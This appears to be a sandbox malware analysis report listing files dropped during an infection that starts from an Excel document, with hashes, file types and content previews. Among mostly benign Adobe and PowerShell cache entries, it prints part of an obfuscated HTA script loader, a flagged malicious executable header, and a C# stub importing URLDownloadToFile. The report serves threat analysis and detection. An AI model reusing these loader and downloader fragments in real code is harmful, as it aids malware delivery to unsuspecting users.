SHA-512:	F2247D89C3268E838AE6F4BCDC1C4BB9C60E4F2E05B1763CD152811661A00B8BFC467F71009894676E38CE31229DF35F6FC9F2F19C2911698012D0594697F098
Malicious:	false
Preview:	VLnk.....?......LhXJ ...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt19.lst (copy)

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1035
Entropy (8bit):	5.1491631906969815
Encrypted:	false
SSDEEP:	24:kNid8HxPs3yTTtyid8OPgx4s3yTDH4id8HxPs3yTTtyid8OPgx4s3yTDHk:1kxPuyvt9Ngx4uyHjkxPuyvt9Ngx4uyE
MD5:	6D00E22D9EB30D348C37536576CF8FDA
SHA1:	9B25DC67FF07A375746574E8CAB4B04C2C6256D7
SHA-256:	3D5974589AB18957C2450C540A2267BEE0E5D8EAEAFD6E6363E6E2D62EA65D61
SHA-512:	84C4AB20B5888E6EFE631D4A9A17FF327C91876387AD299140E26FEB7565981473CC1C40FDAC5BA3A0A2FA623E2AA9E1041D44B55FF6E7E0635CE9E6E59AF313
Malicious:	false
Preview:	%!Adobe-FontList 1.16.%Locale:0x409..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1426595652.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1426595652.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1426595652.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V.FileLength:276

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt16.lst.3228

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1035
Entropy (8bit):	5.1491631906969815
Encrypted:	false
SSDEEP:	24:kNid8HxPs3yTTtyid8OPgx4s3yTDH4id8HxPs3yTTtyid8OPgx4s3yTDHk:1kxPuyvt9Ngx4uyHjkxPuyvt9Ngx4uyE
MD5:	6D00E22D9EB30D348C37536576CF8FDA
SHA1:	9B25DC67FF07A375746574E8CAB4B04C2C6256D7
SHA-256:	3D5974589AB18957C2450C540A2267BEE0E5D8EAEAFD6E6363E6E2D62EA65D61
SHA-512:	84C4AB20B5888E6EFE631D4A9A17FF327C91876387AD299140E26FEB7565981473CC1C40FDAC5BA3A0A2FA623E2AA9E1041D44B55FF6E7E0635CE9E6E59AF313
Malicious:	false
Preview:	%!Adobe-FontList 1.16.%Locale:0x409..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1426595652.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1426595652.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1426595652.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V.FileLength:276

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt19.lst (copy)

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1035
Entropy (8bit):	5.1491631906969815
Encrypted:	false
SSDEEP:	24:kNid8HxPs3yTTtyid8OPgx4s3yTDH4id8HxPs3yTTtyid8OPgx4s3yTDHk:1kxPuyvt9Ngx4uyHjkxPuyvt9Ngx4uyE
MD5:	6D00E22D9EB30D348C37536576CF8FDA
SHA1:	9B25DC67FF07A375746574E8CAB4B04C2C6256D7
SHA-256:	3D5974589AB18957C2450C540A2267BEE0E5D8EAEAFD6E6363E6E2D62EA65D61
SHA-512:	84C4AB20B5888E6EFE631D4A9A17FF327C91876387AD299140E26FEB7565981473CC1C40FDAC5BA3A0A2FA623E2AA9E1041D44B55FF6E7E0635CE9E6E59AF313
Malicious:	false
Preview:	%!Adobe-FontList 1.16.%Locale:0x409..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1426595652.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1426595652.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1426595652.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V.FileLength:276

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt19.lst (copy)

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	9566
Entropy (8bit):	5.22582439176908
Encrypted:	false
SSDEEP:	192:eXA2P6Y6f76yx626OP6H6Q6y6nfs6ttRZ69tsu6jtG16RMX05F5yLk:eQAt0zvXkdvIfsutRZEtsuutG1gMknR
MD5:	08A5FDC2402AAC9FBE78F16494554D5C
SHA1:	89C1122EF0773A6B771DCC3CB922B695C76F8B5D
SHA-256:	008774FEFB1299959D711144FAA84C18AC4A3920965EB671A1B94FF23BED5CD4
SHA-512:	BE83E0FA7C1D6EA6C14C1BA688DE832C6A18946B8A2F28EB8EE64882EB23710FAF6448F8361C77A9108F75FDAB921FFFCDF6E4BAE8C9CD2D154BFA0252D42479
Malicious:	false
Preview:	%!Adobe-FontList 1.16.%Locale:0x409..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1426595652.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1426595652.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:Type1.FontName:AdobePiStd.FamilyName:Adobe Pi Std.StyleName:Regular.FullName:Adobe Pi Std.MenuName:Adobe Pi Std.StyleBits:0.WritingScript:Roman.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\AdobePiStd.otf.DataFormat:sfntData.UsesStandardEncoding:yes.isCFF:yes.FileLength:92588.FileModTime:1426595650.WeightClass:400.WidthClass:5.AngleClass:0.DesignSize:240.NameArray:0,Mac,4,Adobe Pi Std.

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt16.lst.3228

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	9566
Entropy (8bit):	5.22582439176908
Encrypted:	false
SSDEEP:	192:eXA2P6Y6f76yx626OP6H6Q6y6nfs6ttRZ69tsu6jtG16RMX05F5yLk:eQAt0zvXkdvIfsutRZEtsuutG1gMknR
MD5:	08A5FDC2402AAC9FBE78F16494554D5C
SHA1:	89C1122EF0773A6B771DCC3CB922B695C76F8B5D
SHA-256:	008774FEFB1299959D711144FAA84C18AC4A3920965EB671A1B94FF23BED5CD4
SHA-512:	BE83E0FA7C1D6EA6C14C1BA688DE832C6A18946B8A2F28EB8EE64882EB23710FAF6448F8361C77A9108F75FDAB921FFFCDF6E4BAE8C9CD2D154BFA0252D42479
Malicious:	false
Preview:	%!Adobe-FontList 1.16.%Locale:0x409..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1426595652.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1426595652.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:Type1.FontName:AdobePiStd.FamilyName:Adobe Pi Std.StyleName:Regular.FullName:Adobe Pi Std.MenuName:Adobe Pi Std.StyleBits:0.WritingScript:Roman.OutlineFileName:C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\AdobePiStd.otf.DataFormat:sfntData.UsesStandardEncoding:yes.isCFF:yes.FileLength:92588.FileModTime:1426595650.WeightClass:400.WidthClass:5.AngleClass:0.DesignSize:240.NameArray:0,Mac,4,Adobe Pi Std.

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheRdr65536.dat

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
File Type:	data
Category:	dropped
Size (bytes):	113096
Entropy (8bit):	1.9807822014857486
Encrypted:	false
SSDEEP:	384:hNzyk+spBXiosQUYuoB7OdnGbLq+AtKzZQ9D+v+WyXG1oJ/+OE1ckdcWMuZBKh1:n
MD5:	3B8F1B6E5732868B048C91BCE2242936
SHA1:	D70763DB636757EFEC1C6BA2EB0FB16D0E8052BC
SHA-256:	893789B0A6331596EA36E905D166E020B7E1A2EB78C2A1189EFAF519D8DC2AE8
SHA-512:	480BA9442E42639782BFBCF1EC0ACAA58CF59DFFAB3DEB1AB06C5F43A99003CCFEBA3BCEEA2BF7E69BCDE8D29391D6F86F8DAF19BC0E31F2BD6F39CEFB3F778A
Malicious:	false
Preview:	Adobe Acrobat Reader DC 19.0....?A12_SelectObject.................................................................................................................................................~~~@~~~ ........................................................................................~~~.~~~.~~~.....................................................................................~~~.~~~.~~~.~~~`................................................................................~~~.~~~.~~~.~~~.~~~`............................................................................~~~.~~~.~~~.~~~.~~~.~~~@........................................................................~~~.~~~.~~~.~~~.~~~.~~~.~~~0....................................................................~~~.~~~.~~~.~~~.~~~.~~~.~~~.~~~0................................................................~~~.~~~.~~~.~~~.~~~.~~~.~~~.~~~.~~~.............................................................~~~.~~~.~~~.~~~.~~~.~~~.~~~.~~~.~~~.~~

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	15189
Entropy (8bit):	5.0343247648743
Encrypted:	false
SSDEEP:	384:nWraVoGIpN6KQkj2Lkjh4iUxTnaVjvCnS/OdBmRWDf:nW+V3IpNBQkj2Oh4iUxDaVjvCnS/OdBD
MD5:	7BC3FB6565E144A52C5F44408D5D80DF
SHA1:	C3C443BF9F29EAA84B0A580FD5469F4C5CC57F77
SHA-256:	EF6A75C051D70322EDCD5A89E6398CC00E3D860E87A0C7981310D30837CBA495
SHA-512:	D0A936BAF2277884518EDF4729F88DA74C7BAA5BBB58C1060CE66DE92A23694EA993CA69D8820816C5D28182E9A38EE59DE821EE3A73F0D85DBBC74D406285A5
Malicious:	false
Preview:	PSMODULECACHE.....8.......S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script..........V.7...?...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ISE\ISE.psd1........Import-IseSnippet........Get-IseSnippet........New-IseSnippet.........._.7...[...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\PSWorkflowUtility\

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\40[1].hta

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	HTML document, ASCII text, with very long lines (65520), with CRLF line terminators
Category:	modified
Size (bytes):	84878
Entropy (8bit):	2.7186555645985826
Encrypted:	false
SSDEEP:	96:Ea76Y++VQiIj4+kQiIjDUW+GDB/N8Tn+LU+ah4T0QiIjw9+GwT:EaJ++BIj4+uIjDDKr+Q+IIjG+GwT
MD5:	CCAE7CB0341D4C1A214D740F76EB99AE
SHA1:	9E4AB36A228CD69028C127BE21C1A7D12AF30294
SHA-256:	862835269BBD12FE394CDB9AB03E9E87D7117480150B7BC3A84DCF7EBEE3D1FE
SHA-512:	CDF5D552483289F1DC717618BF57ED3708FD9B6D73BF4D6E6B576E080B6D6598F404F96A059C1C897F2288B457F609CC965EEE046C31200EC569296B15DEFE07
Malicious:	true
Preview:	<script>.. ..document.write(unescape("%3Cscript%20language%3DJavaScript%3Em%3D%27%253C%2521DOCTYPE%2520html%253E%250A%253Cmeta%2520http-equiv%253D%2522X-UA-Compatible%2522%2520content%253D%2522IE%253DEmulateIE8%2522%2520%253E%250A%253Chtml%253E%250A%253Cbody%253E%250A%253CsCriPt%2520TyPE%253D%2522Text/vBSCripT%2522%253E%250ADIm%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%2509%25

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\sihost[1].exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	786432
Entropy (8bit):	7.843829192750069
Encrypted:	false
SSDEEP:	12288:ClQAuzVwg6o8jReYXggj/mkYfUu3lu/mMDtXWwQS/alvl7s66nIEAvhgquWfaOrJ:g53voIeauFcoymiXW485s66n+vhgk
MD5:	D02CC222E09FD373FAF4030AC735618C
SHA1:	9D56352E325A466837CA7C0657697F1C00E4D440
SHA-256:	A21299AF73C18F0D903F023BB82D10796F876335281059355EA3B8D72DDB1DD8
SHA-512:	FD475E9E20B03ECE2D0211092A86B3FC1D286E336CCE3354AE400B53DD77B82B3511E8742AB4F36F99C106ADC7A288029FDD113460652924D591A0CF7E56C8ED
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....V.f................................. ........@.. .......................`............@.....................................S.... .......................@....................................................... ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H............,...........................................................0..A....... P........%.....(......... B........%.1...(.....2...(.........&....~.............~............".(.........0..{.............%.....(.................. ....... c,..... .:..... .6..... 5...... .6..... . ..... ......................(.........&*..0..........~2.....~........E........................~....:......$...Y.+......(....%.(.........E....'.......!...'...=...L...~....-...P.....Y..+....v

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3F860BC8.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	1698632
Entropy (8bit):	4.178150141850063
Encrypted:	false
SSDEEP:	12288:aD8dt3iGnjPjIwEasrwvAWXKcnXfxpwZasUkRaNHH/o1PWwnReyJ0yJS:aat3wwKuWh1OwIyJ0yJS
MD5:	0C11DB01DB641A918504A88CF5B57B89
SHA1:	36FA3693E0C9F4AB1A3FAD7288D47ABF6E176FDA
SHA-256:	D75C7858AE64041B2BB868D53CE0BC968700F373FFCF2710BBB088C3A7C24E28
SHA-512:	06082B5E101887F9522E0066A99D289550276CBC862A9D409A5F152E4682B0936BC526A0B40C874410A2C1188788414D56B2B63774990B726FD0C0C7879B7548
Malicious:	false
Preview:	....l...........P... ...........A_..+J.. EMF....H...........................8...X....................?......F...,... ...EMF+.@..................x...x...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@..........................................................!......."...........!......."...........................!..............................."...........!...............................................Q...!..."...........!...............................................Q...!..."...........!...............................................Q...!..."...........!...............................................Q...!..."...........!...............................................Q...!..."...........!...............................................Q...!...........................T...L.......................UU.A&..A............L.......................L..."...........!...............................................Q...!..."...........!...............................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C9084929.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	1454420
Entropy (8bit):	0.786650365290048
Encrypted:	false
SSDEEP:	1536:yQ+kTwekfmcmpVItFGg1sydMfc3Xa8NQLY6YCO7wdBAHsE3zQxB:yGT9ymOtAg2CMQa8NQYwdyHsEDQxB
MD5:	B09A692DB44B02101C026B2FDFB62A24
SHA1:	20C66D03632BEBD449A8E2C86C23A6E09409E979
SHA-256:	7E978D8B2CE6502CC002F3E1BE6F894AF947F47E14CF0751D525FEE41D32713B
SHA-512:	55C982555C7A4C2D430D9EF9EB10CA0D16B31E706CB99DE02CFF63042B2B2DCDE15DCB33DB0755F0474C3275F126B607939B2BD935C4AC8B4DB78C193DE9BB04
Malicious:	false
Preview:	....l...........c...................7.. EMF....T1..........................8...X....................?..............................................7..........d.......Q....0..........c.......................d.......P...(...x... 0...... ....*...7..(...d............... 0..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0xyr2kxx.y3f.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\1qazuu2n.0yw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\RES4D56.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48a, 9 symbols, created Tue Aug 13 18:24:35 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	3.985444553968238
Encrypted:	false
SSDEEP:	24:HOe9E2UeKRadHWwKdNWI+ycuZhNbNakSCCPNnqSqd:m7MVKd41ulbNa3COqSK
MD5:	47B98DBF472DD79A96F6227B99245BA0
SHA1:	1DF7F7C6A1F9721281E33E2FD84DFA6EB7868BBC
SHA-256:	E743A0AFD807A80C9B4FFAD8D21F41CD71D652C4EC07FC8AB9C38B2C58BF7B37
SHA-512:	D472BE6A0F38794BB87C427EE43FA08D569AA036E3176482B659D1B1EE831A14C6CE0E0B8F462C028199483F6CC01627114CB97AA7F63CCA5A20B7949C9774D3
Malicious:	false
Preview:	L....f.............debug$S........L...................@..B.rsrc$01........X.......0...........@..@.rsrc$02........P...:...............@..@........T....c:\Users\user\AppData\Local\Temp\d1xzy0xm\CSCCF15997BD6B546CEB43AF983F4CD5CA2.TMP...............4Pla...l.I6yX..C..........4.......C:\Users\user\AppData\Local\Temp\RES4D56.tmp.-.<....................a..Microsoft (R) CVTRES.[.=..cwd.C:\Windows\system32.exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...d.1.x.z.y.0.x.m...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.

C:\Users\user\AppData\Local\Temp\bnokhm0q.x3k.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\d1xzy0xm\CSCCF15997BD6B546CEB43AF983F4CD5CA2.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.1093469727750858
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryhdn3ak7YnqqCdngPN5Dlq5J:+RI+ycuZhNbNakSCCPNnqX
MD5:	34506C61ADC4116CE2493679580DBF43
SHA1:	8E1AE31538337EB7D87EAE2E674C5D57D40C7785
SHA-256:	27187E9C2DD8CC34489719469EAED9C5BB33A4B92BEE0A089C34D7F3CBBDFE73
SHA-512:	AAE9895FAD3675D8748F52814F0A3B60DF70C2E24C8C88D1773E9653D988B8899EE7C74C03FB4807E5DAEA2CBE8043567A6D6122E59A83FA4FF4D879D14AA860
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...d.1.x.z.y.0.x.m...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...d.1.x.z.y.0.x.m...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\d1xzy0xm\d1xzy0xm.0.cs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text, with very long lines (341)
Category:	dropped
Size (bytes):	463
Entropy (8bit):	3.7579094575114596
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zuPOaUiT+HMGpQXReKJ8SRHy4HfSrsKjDIy:V/DTLDfuJ9KuXfH7YDIy
MD5:	CDE292FA49D59EF6BD151091CB0680CD
SHA1:	153CF0C126D36E6F138FA4FA8A125D584E5A0B5B
SHA-256:	E71092DFC49A5D6595C74298767A6EC1566EDBDA6D5DD475ADF82FBD841521C4
SHA-512:	78C5635D3AE86D147D97B85193950C4A3773ABB557E3819117A99AB9730AAE635F6F9D68E065745713D2DF7E3790EA7FFB9825D106408575C48D50CCE762CA60
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..namespace lkykWDexh.{. public class YVvFVyRtN. {. [DllImport("urlMoN", CharSet = CharSet.Unicode)]public static extern IntPtr URLDownloadToFile(IntPtr sCluBEMo,string j,string CIU,uint cn,IntPtr IGjD);.. }..}.

C:\Users\user\AppData\Local\Temp\d1xzy0xm\d1xzy0xm.cmdline

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (366), with no line terminators
Category:	dropped
Size (bytes):	369
Entropy (8bit):	5.267241168860402
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2P23f1EJZzxs7+AEszIP23f1EJyLGA:p37Lvkmb6Kz94ZWZEo94yyA
MD5:	532E3C2B3B8AC76C90CCBFCF09F9291E
SHA1:	BE7374B8521EE2FA975D60CC0C7628BE33E2893A
SHA-256:	9D031C6D240CB1B98D1AAFCD2C1CEB3500846C74DEA24A2327831C20B19522AD
SHA-512:	F00FE356ED3BB2108E7D4FF1008017824549C4A08E4EBBCD25DF49821FAD6CE16224C73666D6A1495182DEDFB8A0B347E83C2F87989CA8594B76E869534EEEB0
Malicious:	true
